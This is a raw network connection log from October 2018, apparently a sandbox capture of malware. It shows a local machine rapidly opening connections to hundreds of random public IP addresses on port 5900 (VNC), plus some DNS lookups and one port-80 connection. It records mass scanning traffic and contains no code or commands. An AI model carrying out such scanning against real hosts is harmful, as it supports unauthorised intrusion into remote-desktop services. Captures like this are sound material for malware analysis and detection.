Oct 30, 2018 14:44:15.943928957 CET	49653	5900	192.168.1.81	62.159.67.71
Oct 30, 2018 14:44:15.974653006 CET	49701	5900	192.168.1.81	61.15.21.90
Oct 30, 2018 14:44:15.990354061 CET	49654	5900	192.168.1.81	75.165.177.176
Oct 30, 2018 14:44:15.994579077 CET	49747	5900	192.168.1.81	81.224.95.93
Oct 30, 2018 14:44:16.021790981 CET	49655	5900	192.168.1.81	100.183.179.246
Oct 30, 2018 14:44:16.027062893 CET	49748	5900	192.168.1.81	155.196.202.146
Oct 30, 2018 14:44:16.057730913 CET	49749	5900	192.168.1.81	182.200.111.187
Oct 30, 2018 14:44:16.084595919 CET	49657	5900	192.168.1.81	153.81.119.41
Oct 30, 2018 14:44:16.088776112 CET	49750	5900	192.168.1.81	50.188.2.178
Oct 30, 2018 14:44:16.095623970 CET	5900	49744	200.223.159.178	192.168.1.81
Oct 30, 2018 14:44:16.099499941 CET	49658	5900	192.168.1.81	124.202.144.63
Oct 30, 2018 14:44:16.119791031 CET	49751	5900	192.168.1.81	165.225.20.235
Oct 30, 2018 14:44:16.131208897 CET	49659	5900	192.168.1.81	198.249.224.23
Oct 30, 2018 14:44:16.150684118 CET	49752	5900	192.168.1.81	72.210.203.168
Oct 30, 2018 14:44:16.162455082 CET	49660	5900	192.168.1.81	62.148.236.158
Oct 30, 2018 14:44:16.180344105 CET	49753	5900	192.168.1.81	75.255.145.85
Oct 30, 2018 14:44:16.186098099 CET	5900	49701	61.15.21.90	192.168.1.81
Oct 30, 2018 14:44:16.193326950 CET	49661	5900	192.168.1.81	111.103.123.24
Oct 30, 2018 14:44:16.211594105 CET	49754	5900	192.168.1.81	91.39.72.104
Oct 30, 2018 14:44:16.225074053 CET	49662	5900	192.168.1.81	197.249.222.152
Oct 30, 2018 14:44:16.244307041 CET	49755	5900	192.168.1.81	198.133.63.90
Oct 30, 2018 14:44:16.246850967 CET	53	62702	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:16.255980015 CET	49663	5900	192.168.1.81	99.129.89.217
Oct 30, 2018 14:44:16.275466919 CET	49756	5900	192.168.1.81	111.180.235.251
Oct 30, 2018 14:44:16.302776098 CET	49664	5900	192.168.1.81	148.220.74.110
Oct 30, 2018 14:44:16.316071033 CET	53636	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:16.320488930 CET	49757	5900	192.168.1.81	200.228.54.81
Oct 30, 2018 14:44:16.334187984 CET	49665	5900	192.168.1.81	100.5.185.173
Oct 30, 2018 14:44:16.336409092 CET	49758	5900	192.168.1.81	122.102.201.59
Oct 30, 2018 14:44:16.348659992 CET	53	53636	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:16.368766069 CET	49759	5900	192.168.1.81	52.62.197.130
Oct 30, 2018 14:44:16.381263971 CET	49674	5900	192.168.1.81	177.215.165.206
Oct 30, 2018 14:44:16.400432110 CET	49760	5900	192.168.1.81	54.176.183.154
Oct 30, 2018 14:44:16.412637949 CET	49666	5900	192.168.1.81	113.181.123.237
Oct 30, 2018 14:44:16.428353071 CET	49667	5900	192.168.1.81	120.175.115.95
Oct 30, 2018 14:44:16.432320118 CET	49761	5900	192.168.1.81	111.254.60.57
Oct 30, 2018 14:44:16.443908930 CET	49668	5900	192.168.1.81	77.207.61.149
Oct 30, 2018 14:44:16.463589907 CET	49762	5900	192.168.1.81	113.194.59.1
Oct 30, 2018 14:44:16.490127087 CET	49669	5900	192.168.1.81	114.254.57.162
Oct 30, 2018 14:44:16.493623972 CET	49763	5900	192.168.1.81	36.31.3.107
Oct 30, 2018 14:44:16.505690098 CET	49670	5900	192.168.1.81	203.10.69.70
Oct 30, 2018 14:44:16.527064085 CET	49764	5900	192.168.1.81	74.67.207.181
Oct 30, 2018 14:44:16.552735090 CET	49671	5900	192.168.1.81	167.255.166.143
Oct 30, 2018 14:44:16.556473970 CET	49765	5900	192.168.1.81	205.96.128.233
Oct 30, 2018 14:44:16.568439960 CET	49672	5900	192.168.1.81	129.45.231.5
Oct 30, 2018 14:44:16.591056108 CET	49766	5900	192.168.1.81	105.158.240.89
Oct 30, 2018 14:44:16.599745035 CET	49744	5900	192.168.1.81	200.223.159.178
Oct 30, 2018 14:44:16.599800110 CET	49673	5900	192.168.1.81	149.46.166.37
Oct 30, 2018 14:44:16.618927002 CET	49767	5900	192.168.1.81	140.43.86.30
Oct 30, 2018 14:44:16.651612043 CET	49768	5900	192.168.1.81	135.105.1.238
Oct 30, 2018 14:44:16.662518978 CET	49675	5900	192.168.1.81	163.221.28.237
Oct 30, 2018 14:44:16.681587934 CET	49769	5900	192.168.1.81	67.112.105.228
Oct 30, 2018 14:44:16.693902016 CET	49676	5900	192.168.1.81	197.111.129.122
Oct 30, 2018 14:44:16.713866949 CET	49770	5900	192.168.1.81	200.201.115.251
Oct 30, 2018 14:44:16.725187063 CET	49677	5900	192.168.1.81	107.64.105.163
Oct 30, 2018 14:44:16.753326893 CET	49771	5900	192.168.1.81	136.37.182.109
Oct 30, 2018 14:44:16.774130106 CET	49772	5900	192.168.1.81	139.120.208.44
Oct 30, 2018 14:44:16.802777052 CET	49679	5900	192.168.1.81	43.110.61.233
Oct 30, 2018 14:44:16.816324949 CET	5900	49744	200.223.159.178	192.168.1.81
Oct 30, 2018 14:44:16.824208975 CET	5900	49762	113.194.59.1	192.168.1.81
Oct 30, 2018 14:44:16.834367990 CET	49680	5900	192.168.1.81	118.165.103.85
Oct 30, 2018 14:44:16.856439114 CET	62653	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:16.859745979 CET	49773	5900	192.168.1.81	137.80.9.143
Oct 30, 2018 14:44:16.865820885 CET	49681	5900	192.168.1.81	164.8.179.157
Oct 30, 2018 14:44:16.869411945 CET	49774	5900	192.168.1.81	142.223.190.203
Oct 30, 2018 14:44:16.898121119 CET	53	62653	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:16.900511980 CET	49775	5900	192.168.1.81	42.232.15.99
Oct 30, 2018 14:44:16.927634954 CET	49683	5900	192.168.1.81	55.227.197.171
Oct 30, 2018 14:44:16.950159073 CET	49776	5900	192.168.1.81	102.93.244.238
Oct 30, 2018 14:44:16.963356972 CET	49684	5900	192.168.1.81	170.61.171.222
Oct 30, 2018 14:44:16.968656063 CET	49777	5900	192.168.1.81	147.201.204.112
Oct 30, 2018 14:44:16.990159035 CET	49685	5900	192.168.1.81	142.202.14.121
Oct 30, 2018 14:44:16.994255066 CET	49778	5900	192.168.1.81	133.17.190.29
Oct 30, 2018 14:44:17.005913973 CET	49686	5900	192.168.1.81	51.58.156.164
Oct 30, 2018 14:44:17.025708914 CET	49779	5900	192.168.1.81	198.166.225.238
Oct 30, 2018 14:44:17.056442022 CET	49780	5900	192.168.1.81	101.148.187.19
Oct 30, 2018 14:44:17.072525024 CET	49687	5900	192.168.1.81	164.204.82.228
Oct 30, 2018 14:44:17.086735010 CET	49781	5900	192.168.1.81	173.44.55.135
Oct 30, 2018 14:44:17.119904995 CET	49782	5900	192.168.1.81	132.154.202.254
Oct 30, 2018 14:44:17.131221056 CET	49688	5900	192.168.1.81	133.211.164.33
Oct 30, 2018 14:44:17.148191929 CET	49689	5900	192.168.1.81	198.21.107.201
Oct 30, 2018 14:44:17.151791096 CET	49783	5900	192.168.1.81	36.225.218.217
Oct 30, 2018 14:44:17.177706003 CET	49690	5900	192.168.1.81	99.166.195.38
Oct 30, 2018 14:44:17.183221102 CET	49784	5900	192.168.1.81	185.210.16.81
Oct 30, 2018 14:44:17.208983898 CET	49691	5900	192.168.1.81	46.226.112.161
Oct 30, 2018 14:44:17.233971119 CET	49785	5900	192.168.1.81	54.149.180.152
Oct 30, 2018 14:44:17.240653038 CET	49692	5900	192.168.1.81	117.136.255.52
Oct 30, 2018 14:44:17.260512114 CET	49786	5900	192.168.1.81	160.97.78.159
Oct 30, 2018 14:44:17.271966934 CET	49693	5900	192.168.1.81	60.4.184.168
Oct 30, 2018 14:44:17.293260098 CET	49787	5900	192.168.1.81	160.222.132.50
Oct 30, 2018 14:44:17.303241014 CET	49694	5900	192.168.1.81	119.151.144.234
Oct 30, 2018 14:44:17.318938017 CET	49744	5900	192.168.1.81	200.223.159.178
Oct 30, 2018 14:44:17.319039106 CET	49762	5900	192.168.1.81	113.194.59.1
Oct 30, 2018 14:44:17.326472044 CET	49788	5900	192.168.1.81	140.232.15.27
Oct 30, 2018 14:44:17.333909988 CET	49695	5900	192.168.1.81	72.222.47.154
Oct 30, 2018 14:44:17.353912115 CET	49789	5900	192.168.1.81	146.165.51.16
Oct 30, 2018 14:44:17.365156889 CET	49696	5900	192.168.1.81	186.200.207.141
Oct 30, 2018 14:44:17.387012005 CET	49790	5900	192.168.1.81	177.155.26.11
Oct 30, 2018 14:44:17.412472963 CET	49697	5900	192.168.1.81	74.153.236.127
Oct 30, 2018 14:44:17.417802095 CET	49317	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:17.420782089 CET	49791	5900	192.168.1.81	180.199.242.88
Oct 30, 2018 14:44:17.470087051 CET	49792	5900	192.168.1.81	114.98.191.233
Oct 30, 2018 14:44:17.496485949 CET	49793	5900	192.168.1.81	46.195.48.83
Oct 30, 2018 14:44:17.521414042 CET	49698	5900	192.168.1.81	176.146.140.21
Oct 30, 2018 14:44:17.521496058 CET	49699	5900	192.168.1.81	30.194.46.1
Oct 30, 2018 14:44:17.521524906 CET	49700	5900	192.168.1.81	129.36.27.82
Oct 30, 2018 14:44:17.525988102 CET	49794	5900	192.168.1.81	204.27.240.124
Oct 30, 2018 14:44:17.544297934 CET	53	49317	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:17.547430992 CET	49795	80	192.168.1.81	208.100.26.251
Oct 30, 2018 14:44:17.558006048 CET	49796	5900	192.168.1.81	80.248.210.205
Oct 30, 2018 14:44:17.583885908 CET	5900	49744	200.223.159.178	192.168.1.81
Oct 30, 2018 14:44:17.588078022 CET	49797	5900	192.168.1.81	55.82.40.13
Oct 30, 2018 14:44:17.615104914 CET	49702	5900	192.168.1.81	157.165.64.31
Oct 30, 2018 14:44:17.615200043 CET	49703	5900	192.168.1.81	173.45.48.206
Oct 30, 2018 14:44:17.615231991 CET	49704	5900	192.168.1.81	111.151.236.36
Oct 30, 2018 14:44:17.619082928 CET	49798	5900	192.168.1.81	159.245.203.23
Oct 30, 2018 14:44:17.650274992 CET	49799	5900	192.168.1.81	130.166.31.170
Oct 30, 2018 14:44:17.682105064 CET	49800	5900	192.168.1.81	186.212.122.9
Oct 30, 2018 14:44:17.712764025 CET	49801	5900	192.168.1.81	195.163.91.123
Oct 30, 2018 14:44:17.724647045 CET	49705	5900	192.168.1.81	181.31.105.55
Oct 30, 2018 14:44:17.724733114 CET	49706	5900	192.168.1.81	34.180.64.41
Oct 30, 2018 14:44:17.724759102 CET	49707	5900	192.168.1.81	55.171.40.26
Oct 30, 2018 14:44:17.743263006 CET	49802	5900	192.168.1.81	42.45.86.37
Oct 30, 2018 14:44:17.774784088 CET	49803	5900	192.168.1.81	193.193.4.30
Oct 30, 2018 14:44:17.805917978 CET	49804	5900	192.168.1.81	194.16.120.190
Oct 30, 2018 14:44:17.814948082 CET	5900	49762	113.194.59.1	192.168.1.81
Oct 30, 2018 14:44:17.818486929 CET	49708	5900	192.168.1.81	114.101.231.244
Oct 30, 2018 14:44:17.818561077 CET	49709	5900	192.168.1.81	155.218.92.88
Oct 30, 2018 14:44:17.818589926 CET	49710	5900	192.168.1.81	175.204.191.71
Oct 30, 2018 14:44:17.838840008 CET	49805	5900	192.168.1.81	85.104.138.32
Oct 30, 2018 14:44:17.868683100 CET	49806	5900	192.168.1.81	128.24.98.51
Oct 30, 2018 14:44:17.887964010 CET	5900	49674	177.215.165.206	192.168.1.81
Oct 30, 2018 14:44:17.901638031 CET	49807	5900	192.168.1.81	33.132.35.250
Oct 30, 2018 14:44:17.912452936 CET	49711	5900	192.168.1.81	159.5.200.228
Oct 30, 2018 14:44:17.912523985 CET	49712	5900	192.168.1.81	62.218.82.211
Oct 30, 2018 14:44:17.912547112 CET	49713	5900	192.168.1.81	145.243.167.144
Oct 30, 2018 14:44:17.931351900 CET	49808	5900	192.168.1.81	78.6.166.57
Oct 30, 2018 14:44:17.962826967 CET	49809	5900	192.168.1.81	196.173.17.45
Oct 30, 2018 14:44:17.993417025 CET	49810	5900	192.168.1.81	118.240.82.178
Oct 30, 2018 14:44:18.021487951 CET	49714	5900	192.168.1.81	98.116.157.214
Oct 30, 2018 14:44:18.021567106 CET	49715	5900	192.168.1.81	175.13.151.102
Oct 30, 2018 14:44:18.021591902 CET	49716	5900	192.168.1.81	141.167.169.60
Oct 30, 2018 14:44:18.021611929 CET	49717	5900	192.168.1.81	152.148.223.148
Oct 30, 2018 14:44:18.022365093 CET	5900	49808	78.6.166.57	192.168.1.81
Oct 30, 2018 14:44:18.024807930 CET	49811	5900	192.168.1.81	83.226.57.212
Oct 30, 2018 14:44:18.052778006 CET	49718	5900	192.168.1.81	160.120.245.74
Oct 30, 2018 14:44:18.057331085 CET	49812	5900	192.168.1.81	183.4.53.35
Oct 30, 2018 14:44:18.084150076 CET	49719	5900	192.168.1.81	72.244.124.228
Oct 30, 2018 14:44:18.088145971 CET	49813	5900	192.168.1.81	65.199.12.106
Oct 30, 2018 14:44:18.119604111 CET	49814	5900	192.168.1.81	133.204.235.30
Oct 30, 2018 14:44:18.131045103 CET	49720	5900	192.168.1.81	31.173.46.234
Oct 30, 2018 14:44:18.146747112 CET	49721	5900	192.168.1.81	144.167.1.203
Oct 30, 2018 14:44:18.150859118 CET	49815	5900	192.168.1.81	101.130.67.252
Oct 30, 2018 14:44:18.178152084 CET	49722	5900	192.168.1.81	90.63.178.121
Oct 30, 2018 14:44:18.181818962 CET	49816	5900	192.168.1.81	93.156.193.90
Oct 30, 2018 14:44:18.209516048 CET	49723	5900	192.168.1.81	48.153.77.254
Oct 30, 2018 14:44:18.213619947 CET	49817	5900	192.168.1.81	51.33.97.8
Oct 30, 2018 14:44:18.222464085 CET	5900	49810	118.240.82.178	192.168.1.81
Oct 30, 2018 14:44:18.240835905 CET	49724	5900	192.168.1.81	109.75.118.42
Oct 30, 2018 14:44:18.245019913 CET	49818	5900	192.168.1.81	179.112.227.200
Oct 30, 2018 14:44:18.271435022 CET	49725	5900	192.168.1.81	39.47.131.33
Oct 30, 2018 14:44:18.275582075 CET	49819	5900	192.168.1.81	163.11.149.84
Oct 30, 2018 14:44:18.302757978 CET	49726	5900	192.168.1.81	65.151.29.244
Oct 30, 2018 14:44:18.306516886 CET	49820	5900	192.168.1.81	70.118.95.190
Oct 30, 2018 14:44:18.318466902 CET	49762	5900	192.168.1.81	113.194.59.1
Oct 30, 2018 14:44:18.334105968 CET	49727	5900	192.168.1.81	115.82.100.125
Oct 30, 2018 14:44:18.337688923 CET	49821	5900	192.168.1.81	198.14.88.233
Oct 30, 2018 14:44:18.365391970 CET	49728	5900	192.168.1.81	168.49.125.160
Oct 30, 2018 14:44:18.369211912 CET	49822	5900	192.168.1.81	75.25.241.51
Oct 30, 2018 14:44:18.396804094 CET	49674	5900	192.168.1.81	177.215.165.206
Oct 30, 2018 14:44:18.400259018 CET	49823	5900	192.168.1.81	146.113.107.23
Oct 30, 2018 14:44:18.403059006 CET	5900	49812	183.4.53.35	192.168.1.81
Oct 30, 2018 14:44:18.428208113 CET	49729	5900	192.168.1.81	166.16.229.80
Oct 30, 2018 14:44:18.428299904 CET	49730	5900	192.168.1.81	69.8.102.208
Oct 30, 2018 14:44:18.430890083 CET	49824	5900	192.168.1.81	58.29.171.4
Oct 30, 2018 14:44:18.459481955 CET	49731	5900	192.168.1.81	65.197.171.163
Oct 30, 2018 14:44:18.462893009 CET	49825	5900	192.168.1.81	38.156.161.123
Oct 30, 2018 14:44:18.490009069 CET	49732	5900	192.168.1.81	62.175.54.166
Oct 30, 2018 14:44:18.492371082 CET	49826	5900	192.168.1.81	120.82.93.213
Oct 30, 2018 14:44:18.521399975 CET	49733	5900	192.168.1.81	149.226.65.183
Oct 30, 2018 14:44:18.521480083 CET	49808	5900	192.168.1.81	78.6.166.57
Oct 30, 2018 14:44:18.524701118 CET	49827	5900	192.168.1.81	168.77.115.177
Oct 30, 2018 14:44:18.552719116 CET	49734	5900	192.168.1.81	49.31.67.247
Oct 30, 2018 14:44:18.556901932 CET	49828	5900	192.168.1.81	51.80.92.251
Oct 30, 2018 14:44:18.583986998 CET	49735	5900	192.168.1.81	125.52.46.126
Oct 30, 2018 14:44:18.586810112 CET	49829	5900	192.168.1.81	121.224.237.126
Oct 30, 2018 14:44:18.611414909 CET	5900	49808	78.6.166.57	192.168.1.81
Oct 30, 2018 14:44:18.615313053 CET	49736	5900	192.168.1.81	59.137.22.15
Oct 30, 2018 14:44:18.619448900 CET	49830	5900	192.168.1.81	181.195.144.115
Oct 30, 2018 14:44:18.646605968 CET	49737	5900	192.168.1.81	157.69.86.167
Oct 30, 2018 14:44:18.651190042 CET	49831	5900	192.168.1.81	189.37.226.17
Oct 30, 2018 14:44:18.677731037 CET	49738	5900	192.168.1.81	60.68.240.124
Oct 30, 2018 14:44:18.680522919 CET	49832	5900	192.168.1.81	178.81.84.110
Oct 30, 2018 14:44:18.709064960 CET	49739	5900	192.168.1.81	47.204.169.182
Oct 30, 2018 14:44:18.712765932 CET	49833	5900	192.168.1.81	60.71.121.89
Oct 30, 2018 14:44:18.724509001 CET	49810	5900	192.168.1.81	118.240.82.178
Oct 30, 2018 14:44:18.740201950 CET	49740	5900	192.168.1.81	41.190.40.125
Oct 30, 2018 14:44:18.744385958 CET	49834	5900	192.168.1.81	157.129.38.234
Oct 30, 2018 14:44:18.746067047 CET	5900	49674	177.215.165.206	192.168.1.81
Oct 30, 2018 14:44:18.772082090 CET	49741	5900	192.168.1.81	85.170.35.51
Oct 30, 2018 14:44:18.802654982 CET	49742	5900	192.168.1.81	48.7.77.103
Oct 30, 2018 14:44:18.805618048 CET	49835	5900	192.168.1.81	143.186.170.227
Oct 30, 2018 14:44:18.825505018 CET	5900	49762	113.194.59.1	192.168.1.81
Oct 30, 2018 14:44:18.837774992 CET	49836	5900	192.168.1.81	200.102.31.107
Oct 30, 2018 14:44:18.849755049 CET	49743	5900	192.168.1.81	107.119.28.93
Oct 30, 2018 14:44:18.869616032 CET	49837	5900	192.168.1.81	140.90.249.132
Oct 30, 2018 14:44:18.896805048 CET	49745	5900	192.168.1.81	83.38.234.126
Oct 30, 2018 14:44:18.896919966 CET	49812	5900	192.168.1.81	183.4.53.35
Oct 30, 2018 14:44:18.900974035 CET	49838	5900	192.168.1.81	41.246.64.25
Oct 30, 2018 14:44:18.928236008 CET	49746	5900	192.168.1.81	122.236.222.133
Oct 30, 2018 14:44:18.932410955 CET	49839	5900	192.168.1.81	83.71.195.119
Oct 30, 2018 14:44:18.937180996 CET	5900	49829	121.224.237.126	192.168.1.81
Oct 30, 2018 14:44:18.954338074 CET	5900	49810	118.240.82.178	192.168.1.81
Oct 30, 2018 14:44:18.965104103 CET	49840	5900	192.168.1.81	206.74.230.89
Oct 30, 2018 14:44:18.990863085 CET	49747	5900	192.168.1.81	81.224.95.93
Oct 30, 2018 14:44:18.994626045 CET	49841	5900	192.168.1.81	162.170.185.193
Oct 30, 2018 14:44:19.021548986 CET	49748	5900	192.168.1.81	155.196.202.146
Oct 30, 2018 14:44:19.028651953 CET	49842	5900	192.168.1.81	98.128.65.222
Oct 30, 2018 14:44:19.056260109 CET	49843	5900	192.168.1.81	157.166.89.40
Oct 30, 2018 14:44:19.068689108 CET	49749	5900	192.168.1.81	182.200.111.187
Oct 30, 2018 14:44:19.084399939 CET	49750	5900	192.168.1.81	50.188.2.178
Oct 30, 2018 14:44:19.088058949 CET	49844	5900	192.168.1.81	51.201.19.91
Oct 30, 2018 14:44:19.115787029 CET	49808	5900	192.168.1.81	78.6.166.57
Oct 30, 2018 14:44:19.119623899 CET	49845	5900	192.168.1.81	178.43.115.47
Oct 30, 2018 14:44:19.131386995 CET	49751	5900	192.168.1.81	165.225.20.235
Oct 30, 2018 14:44:19.151344061 CET	49846	5900	192.168.1.81	206.67.110.65
Oct 30, 2018 14:44:19.162003040 CET	49752	5900	192.168.1.81	72.210.203.168
Oct 30, 2018 14:44:19.177695036 CET	49753	5900	192.168.1.81	75.255.145.85
Oct 30, 2018 14:44:19.182018042 CET	49847	5900	192.168.1.81	135.78.146.35
Oct 30, 2018 14:44:19.206170082 CET	5900	49808	78.6.166.57	192.168.1.81
Oct 30, 2018 14:44:19.208980083 CET	49754	5900	192.168.1.81	91.39.72.104
Oct 30, 2018 14:44:19.213429928 CET	49848	5900	192.168.1.81	175.211.184.20
Oct 30, 2018 14:44:19.240326881 CET	49755	5900	192.168.1.81	198.133.63.90
Oct 30, 2018 14:44:19.244959116 CET	5900	49812	183.4.53.35	192.168.1.81
Oct 30, 2018 14:44:19.271765947 CET	49756	5900	192.168.1.81	111.180.235.251
Oct 30, 2018 14:44:19.276087999 CET	49849	5900	192.168.1.81	171.169.134.208
Oct 30, 2018 14:44:19.306535006 CET	49850	5900	192.168.1.81	77.70.141.155
Oct 30, 2018 14:44:19.318799019 CET	49757	5900	192.168.1.81	200.228.54.81
Oct 30, 2018 14:44:19.334460974 CET	49758	5900	192.168.1.81	122.102.201.59
Oct 30, 2018 14:44:19.338016033 CET	49851	5900	192.168.1.81	184.189.69.89
Oct 30, 2018 14:44:19.365705013 CET	49759	5900	192.168.1.81	52.62.197.130
Oct 30, 2018 14:44:19.369158030 CET	49852	5900	192.168.1.81	141.203.86.96
Oct 30, 2018 14:44:19.400383949 CET	49853	5900	192.168.1.81	129.234.173.125
Oct 30, 2018 14:44:19.411940098 CET	49760	5900	192.168.1.81	54.176.183.154
Oct 30, 2018 14:44:19.427629948 CET	49761	5900	192.168.1.81	111.254.60.57
Oct 30, 2018 14:44:19.432516098 CET	49854	5900	192.168.1.81	114.124.240.22
Oct 30, 2018 14:44:19.443299055 CET	49829	5900	192.168.1.81	121.224.237.126
Oct 30, 2018 14:44:19.458950996 CET	49810	5900	192.168.1.81	118.240.82.178
Oct 30, 2018 14:44:19.490264893 CET	49763	5900	192.168.1.81	36.31.3.107
Oct 30, 2018 14:44:19.500154018 CET	49855	5900	192.168.1.81	31.22.21.137
Oct 30, 2018 14:44:19.505880117 CET	49856	5900	192.168.1.81	206.248.19.191
Oct 30, 2018 14:44:19.521661997 CET	49764	5900	192.168.1.81	74.67.207.181
Oct 30, 2018 14:44:19.524132013 CET	49857	5900	192.168.1.81	89.224.125.103
Oct 30, 2018 14:44:19.547013044 CET	5900	49848	175.211.184.20	192.168.1.81
Oct 30, 2018 14:44:19.553016901 CET	49765	5900	192.168.1.81	205.96.128.233
Oct 30, 2018 14:44:19.557718039 CET	49858	5900	192.168.1.81	51.17.126.55
Oct 30, 2018 14:44:19.584423065 CET	49766	5900	192.168.1.81	105.158.240.89
Oct 30, 2018 14:44:19.588980913 CET	49859	5900	192.168.1.81	193.115.130.213
Oct 30, 2018 14:44:19.620589018 CET	49860	5900	192.168.1.81	37.19.144.168
Oct 30, 2018 14:44:19.631308079 CET	49767	5900	192.168.1.81	140.43.86.30
Oct 30, 2018 14:44:19.646981955 CET	49768	5900	192.168.1.81	135.105.1.238
Oct 30, 2018 14:44:19.652688980 CET	49861	5900	192.168.1.81	117.210.19.168
Oct 30, 2018 14:44:19.678246975 CET	49769	5900	192.168.1.81	67.112.105.228
Oct 30, 2018 14:44:19.680711031 CET	49862	5900	192.168.1.81	182.170.32.25
Oct 30, 2018 14:44:19.687990904 CET	5900	49810	118.240.82.178	192.168.1.81
Oct 30, 2018 14:44:19.708925962 CET	49770	5900	192.168.1.81	200.201.115.251
Oct 30, 2018 14:44:19.713274956 CET	49863	5900	192.168.1.81	171.196.117.26
Oct 30, 2018 14:44:19.740300894 CET	49812	5900	192.168.1.81	183.4.53.35
Oct 30, 2018 14:44:19.744637966 CET	49864	5900	192.168.1.81	81.207.179.9
Oct 30, 2018 14:44:19.756243944 CET	49771	5900	192.168.1.81	136.37.182.109
Oct 30, 2018 14:44:19.771878958 CET	49772	5900	192.168.1.81	139.120.208.44
Oct 30, 2018 14:44:19.779211044 CET	49865	5900	192.168.1.81	69.202.162.46
Oct 30, 2018 14:44:19.793725014 CET	5900	49829	121.224.237.126	192.168.1.81
Oct 30, 2018 14:44:19.809838057 CET	49866	5900	192.168.1.81	48.194.249.150
Oct 30, 2018 14:44:19.837835073 CET	49867	5900	192.168.1.81	41.162.112.37
Oct 30, 2018 14:44:19.865021944 CET	49773	5900	192.168.1.81	137.80.9.143
Oct 30, 2018 14:44:19.865061045 CET	49774	5900	192.168.1.81	142.223.190.203
Oct 30, 2018 14:44:19.869421005 CET	49868	5900	192.168.1.81	52.31.34.188
Oct 30, 2018 14:44:19.896475077 CET	49775	5900	192.168.1.81	42.232.15.99
Oct 30, 2018 14:44:19.901128054 CET	49869	5900	192.168.1.81	122.98.5.255
Oct 30, 2018 14:44:19.930377007 CET	49870	5900	192.168.1.81	113.118.119.155
Oct 30, 2018 14:44:19.962508917 CET	49871	5900	192.168.1.81	93.27.165.142
Oct 30, 2018 14:44:19.995074034 CET	49872	5900	192.168.1.81	168.128.83.86
Oct 30, 2018 14:44:20.011512041 CET	49776	5900	192.168.1.81	102.93.244.238
Oct 30, 2018 14:44:20.011605978 CET	49777	5900	192.168.1.81	147.201.204.112
Oct 30, 2018 14:44:20.011629105 CET	49778	5900	192.168.1.81	133.17.190.29
Oct 30, 2018 14:44:20.023334980 CET	49873	5900	192.168.1.81	150.147.200.21
Oct 30, 2018 14:44:20.055732965 CET	49874	5900	192.168.1.81	191.89.222.248
Oct 30, 2018 14:44:20.084855080 CET	5900	49812	183.4.53.35	192.168.1.81
Oct 30, 2018 14:44:20.090053082 CET	49875	5900	192.168.1.81	197.135.3.255
Oct 30, 2018 14:44:20.099792957 CET	49779	5900	192.168.1.81	198.166.225.238
Oct 30, 2018 14:44:20.099839926 CET	49848	5900	192.168.1.81	175.211.184.20
Oct 30, 2018 14:44:20.099864006 CET	49780	5900	192.168.1.81	101.148.187.19
Oct 30, 2018 14:44:20.099879026 CET	49781	5900	192.168.1.81	173.44.55.135
Oct 30, 2018 14:44:20.118644953 CET	49876	5900	192.168.1.81	188.79.160.245
Oct 30, 2018 14:44:20.134087086 CET	49782	5900	192.168.1.81	132.154.202.254
Oct 30, 2018 14:44:20.146368980 CET	49783	5900	192.168.1.81	36.225.218.217
Oct 30, 2018 14:44:20.152411938 CET	49877	5900	192.168.1.81	69.8.191.36
Oct 30, 2018 14:44:20.177597046 CET	49784	5900	192.168.1.81	185.210.16.81
Oct 30, 2018 14:44:20.240288973 CET	49785	5900	192.168.1.81	54.149.180.152
Oct 30, 2018 14:44:20.244208097 CET	49878	5900	192.168.1.81	95.143.82.146
Oct 30, 2018 14:44:20.271657944 CET	49786	5900	192.168.1.81	160.97.78.159
Oct 30, 2018 14:44:20.276281118 CET	5900	49878	95.143.82.146	192.168.1.81
Oct 30, 2018 14:44:20.280260086 CET	49879	5900	192.168.1.81	156.232.148.111
Oct 30, 2018 14:44:20.287271023 CET	49787	5900	192.168.1.81	160.222.132.50
Oct 30, 2018 14:44:20.287358046 CET	49829	5900	192.168.1.81	121.224.237.126
Oct 30, 2018 14:44:20.307055950 CET	49880	5900	192.168.1.81	65.152.34.66
Oct 30, 2018 14:44:20.334342957 CET	49788	5900	192.168.1.81	140.232.15.27
Oct 30, 2018 14:44:20.338151932 CET	49881	5900	192.168.1.81	51.98.7.4
Oct 30, 2018 14:44:20.365654945 CET	49789	5900	192.168.1.81	146.165.51.16
Oct 30, 2018 14:44:20.369910002 CET	49882	5900	192.168.1.81	53.198.53.208
Oct 30, 2018 14:44:20.381342888 CET	49790	5900	192.168.1.81	177.155.26.11
Oct 30, 2018 14:44:20.402215004 CET	49883	5900	192.168.1.81	80.178.210.154
Oct 30, 2018 14:44:20.418107033 CET	5900	49848	175.211.184.20	192.168.1.81
Oct 30, 2018 14:44:20.427645922 CET	49791	5900	192.168.1.81	180.199.242.88
Oct 30, 2018 14:44:20.431056976 CET	49884	5900	192.168.1.81	50.174.215.137
Oct 30, 2018 14:44:20.462769032 CET	49885	5900	192.168.1.81	69.185.76.171
Oct 30, 2018 14:44:20.474720955 CET	49792	5900	192.168.1.81	114.98.191.233
Oct 30, 2018 14:44:20.494168997 CET	49886	5900	192.168.1.81	186.193.36.204
Oct 30, 2018 14:44:20.506010056 CET	49793	5900	192.168.1.81	46.195.48.83
Oct 30, 2018 14:44:20.521644115 CET	49794	5900	192.168.1.81	204.27.240.124
Oct 30, 2018 14:44:20.524286985 CET	49887	5900	192.168.1.81	111.253.254.244
Oct 30, 2018 14:44:20.552978992 CET	49795	80	192.168.1.81	208.100.26.251
Oct 30, 2018 14:44:20.553047895 CET	49796	5900	192.168.1.81	80.248.210.205
Oct 30, 2018 14:44:20.556032896 CET	49888	5900	192.168.1.81	129.135.75.250
Oct 30, 2018 14:44:20.584569931 CET	49797	5900	192.168.1.81	55.82.40.13
Oct 30, 2018 14:44:20.590908051 CET	49889	5900	192.168.1.81	57.245.26.174
Oct 30, 2018 14:44:20.619056940 CET	49798	5900	192.168.1.81	159.245.203.23
Oct 30, 2018 14:44:20.622868061 CET	49890	5900	192.168.1.81	161.237.30.238
Oct 30, 2018 14:44:20.637898922 CET	5900	49829	121.224.237.126	192.168.1.81
Oct 30, 2018 14:44:20.649374962 CET	49799	5900	192.168.1.81	130.166.31.170
Oct 30, 2018 14:44:20.653497934 CET	49891	5900	192.168.1.81	50.88.161.77
Oct 30, 2018 14:44:20.677795887 CET	49800	5900	192.168.1.81	186.212.122.9
